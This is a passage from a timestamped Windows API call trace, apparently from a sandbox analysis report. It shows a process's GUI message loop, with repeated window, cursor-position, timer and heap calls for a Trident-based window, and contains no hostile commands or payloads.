(hWnd=0x60018, nIndex=-21) returned 8528360 [0232.000] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0232.000] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0232.000] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0232.000] GetCurrentThreadId () returned 0xcd8 [0232.000] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0232.310] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0232.310] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0232.310] GetCapture () returned 0x0 [0232.310] WindowFromPoint (Point=0x23e) returned 0x60018 [0232.310] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0232.310] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0232.310] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0232.310] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0232.310] GetCurrentThreadId () returned 0xcd8 [0232.310] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0232.653] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0232.653] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0232.653] GetCapture () returned 0x0 [0232.653] WindowFromPoint (Point=0x23e) returned 0x60018 [0232.654] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0232.654] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0232.654] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0232.654] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0232.654] GetCurrentThreadId () returned 0xcd8 [0232.654] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0232.965] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0232.965] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0232.965] GetCapture () returned 0x0 [0232.965] WindowFromPoint (Point=0x23e) returned 0x60018 [0232.965] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0232.966] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0232.966] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0232.966] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0232.966] GetCurrentThreadId () returned 0xcd8 [0232.966] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0233.280] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0233.280] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0233.280] GetCapture () returned 0x0 [0233.280] WindowFromPoint (Point=0x23e) returned 0x60018 [0233.280] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0233.280] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0233.280] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0233.280] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0233.280] GetCurrentThreadId () returned 0xcd8 [0233.280] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0233.590] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0233.590] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0233.590] GetCapture () returned 0x0 [0233.590] WindowFromPoint (Point=0x23e) returned 0x60018 [0233.590] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0233.590] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0233.590] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0233.590] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0233.590] GetCurrentThreadId () returned 0xcd8 [0233.590] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0233.902] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0233.902] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0233.902] GetCapture () returned 0x0 [0233.902] WindowFromPoint (Point=0x23e) returned 0x60018 [0233.902] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0233.902] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0233.902] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0233.902] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0233.902] GetCurrentThreadId () returned 0xcd8 [0233.902] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0234.214] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0234.214] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0234.214] GetCapture () returned 0x0 [0234.214] WindowFromPoint (Point=0x23e) returned 0x60018 [0234.214] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0234.214] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0234.214] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0234.214] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0234.214] GetCurrentThreadId () returned 0xcd8 [0234.214] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0234.526] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0234.526] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0234.526] GetCapture () returned 0x0 [0234.526] WindowFromPoint (Point=0x23e) returned 0x60018 [0234.526] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0234.526] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0234.526] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0234.526] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0234.526] GetCurrentThreadId () returned 0xcd8 [0234.526] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0234.840] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0234.840] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0234.840] GetCapture () returned 0x0 [0234.840] WindowFromPoint (Point=0x23e) returned 0x60018 [0234.841] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0234.841] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0234.841] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0234.841] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0234.841] GetCurrentThreadId () returned 0xcd8 [0234.841] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0235.150] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0235.150] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0235.150] GetCapture () returned 0x0 [0235.150] WindowFromPoint (Point=0x23e) returned 0x60018 [0235.150] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0235.150] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0235.150] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0235.150] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0235.150] GetCurrentThreadId () returned 0xcd8 [0235.150] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0235.461] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0235.461] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0235.461] GetCapture () returned 0x0 [0235.462] WindowFromPoint (Point=0x23e) returned 0x60018 [0235.462] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0235.462] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0235.462] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0235.462] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0235.462] GetCurrentThreadId () returned 0xcd8 [0235.462] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0235.773] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0235.773] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0235.773] GetCapture () returned 0x0 [0235.773] WindowFromPoint (Point=0x23e) returned 0x60018 [0235.773] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0235.774] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0235.774] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0235.774] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0235.774] GetCurrentThreadId () returned 0xcd8 [0235.774] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0236.086] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0236.086] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0236.086] GetCapture () returned 0x0 [0236.086] WindowFromPoint (Point=0x23e) returned 0x60018 [0236.086] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0236.086] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0236.086] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0236.086] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0236.086] GetCurrentThreadId () returned 0xcd8 [0236.086] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0236.397] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0236.397] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0236.397] GetCapture () returned 0x0 [0236.397] WindowFromPoint (Point=0x23e) returned 0x60018 [0236.397] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0236.398] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0236.398] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0236.398] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0236.398] GetCurrentThreadId () returned 0xcd8 [0236.398] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0236.709] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0236.709] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0236.709] GetCapture () returned 0x0 [0236.709] WindowFromPoint (Point=0x23e) returned 0x60018 [0236.710] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0236.710] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0236.710] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0236.710] PtInRect (lprc=0x30f390, pt=0x187) returned 1 [0236.710] GetCurrentThreadId () returned 0xcd8 [0236.710] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0237.021] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0237.021] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0237.022] GetCapture () returned 0x0 [0237.022] WindowFromPoint (Point=0x4e6) returned 0x300f2 [0237.022] IsChild (hWndParent=0x60018, hWnd=0x300f2) returned 0 [0237.022] GetMessageTime () returned 363201 [0237.022] GetMessagePos () returned 0x33e04e6 [0237.023] KillTimer (hWnd=0x60132, uIDEvent=0x2004) returned 1 [0237.023] GetCapture () returned 0x0 [0237.023] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f56c | out: lpPoint=0x30f56c) returned 1 [0237.023] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0237.024] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0237.024] GetCurrentThreadId () returned 0xcd8 [0237.024] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0237.025] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0237.025] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0237.025] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0237.025] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0237.025] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0237.025] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0237.025] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x30f664 | out: plResult=0x30f664) returned 0x1 [0237.025] NtdllDefWindowProc_W () returned 0x0 [0237.025] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0237.026] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0246.837] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0246.837] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0246.837] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0246.837] PtInRect (lprc=0x30f570, pt=0x231) returned 1 [0246.837] GetCurrentThreadId () returned 0xcd8 [0246.837] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0246.837] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0246.837] GetMessageTime () returned 363201 [0246.837] GetMessagePos () returned 0x33e04e6 [0246.837] GetCapture () returned 0x0 [0246.837] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0246.837] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0246.837] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0246.837] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0246.837] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0246.838] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0246.838] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0246.838] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0246.838] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0246.838] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0246.838] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0246.838] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0246.838] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0246.838] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0246.838] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0246.839] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0246.839] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0246.840] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0246.840] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0246.840] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0246.840] SetTimer (hWnd=0x60132, nIDEvent=0x2005, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2005 [0246.840] PtInRect (lprc=0x30f348, pt=0x231) returned 1 [0246.840] PtInRect (lprc=0x30f1ec, pt=0xda8e) returned 1 [0246.840] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0246.840] GetCursor () returned 0x10003 [0246.840] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0246.841] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0246.841] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0246.841] GetMessageTime () returned 373013 [0246.841] GetMessagePos () returned 0x2ea02e8 [0246.841] GetCapture () returned 0x0 [0246.841] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0246.841] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0246.841] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0246.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0246.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0246.841] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0246.841] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0246.841] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0246.841] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0246.841] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0246.841] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0246.841] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0246.842] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0246.842] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0246.842] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0246.842] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0246.842] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0246.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0246.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0246.842] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0246.842] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0246.842] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0246.842] GetCurrentThreadId () returned 0xcd8 [0246.843] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0246.843] PtInRect (lprc=0x30f3d0, pt=0x231) returned 1 [0246.844] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x21d0231, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0246.844] NtdllDefWindowProc_W () returned 0x0 [0246.844] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0246.844] GetMessageTime () returned 373013 [0246.844] GetMessagePos () returned 0x2ea02e8 [0246.844] GetCapture () returned 0x0 [0246.844] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0246.844] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0246.845] GetCurrentThreadId () returned 0xcd8 [0246.845] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0246.845] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0246.845] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0246.846] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0246.846] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0246.846] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0246.846] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x804860 | out: hHeap=0x7f0000) returned 1 [0246.846] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8004, wParam=0x0, lParam=0x21d0231, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0246.846] NtdllDefWindowProc_W () returned 0x0 [0246.846] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0246.846] GetCurrentThreadId () returned 0xcd8 [0246.846] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0247.148] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0247.148] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0247.148] GetCapture () returned 0x0 [0247.148] WindowFromPoint (Point=0x2e8) returned 0x60018 [0247.148] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0247.148] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0247.148] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0247.148] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0247.148] GetCurrentThreadId () returned 0xcd8 [0247.148] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0247.458] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0247.458] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0247.458] GetCapture () returned 0x0 [0247.458] WindowFromPoint (Point=0x2e8) returned 0x60018 [0247.458] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0247.458] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0247.458] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0247.458] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0247.458] GetCurrentThreadId () returned 0xcd8 [0247.458] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0247.772] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0247.772] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0247.772] GetCapture () returned 0x0 [0247.772] WindowFromPoint (Point=0x2e8) returned 0x60018 [0247.772] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0247.772] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0247.772] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0247.772] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0247.772] GetCurrentThreadId () returned 0xcd8 [0247.772] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0248.086] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0248.086] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0248.086] GetCapture () returned 0x0 [0248.086] WindowFromPoint (Point=0x2e8) returned 0x60018 [0248.086] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0248.086] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0248.086] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0248.086] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0248.086] GetCurrentThreadId () returned 0xcd8 [0248.086] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0248.394] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0248.394] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0248.394] GetCapture () returned 0x0 [0248.394] WindowFromPoint (Point=0x2e8) returned 0x60018 [0248.394] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0248.394] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0248.394] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0248.394] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0248.394] GetCurrentThreadId () returned 0xcd8 [0248.394] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, 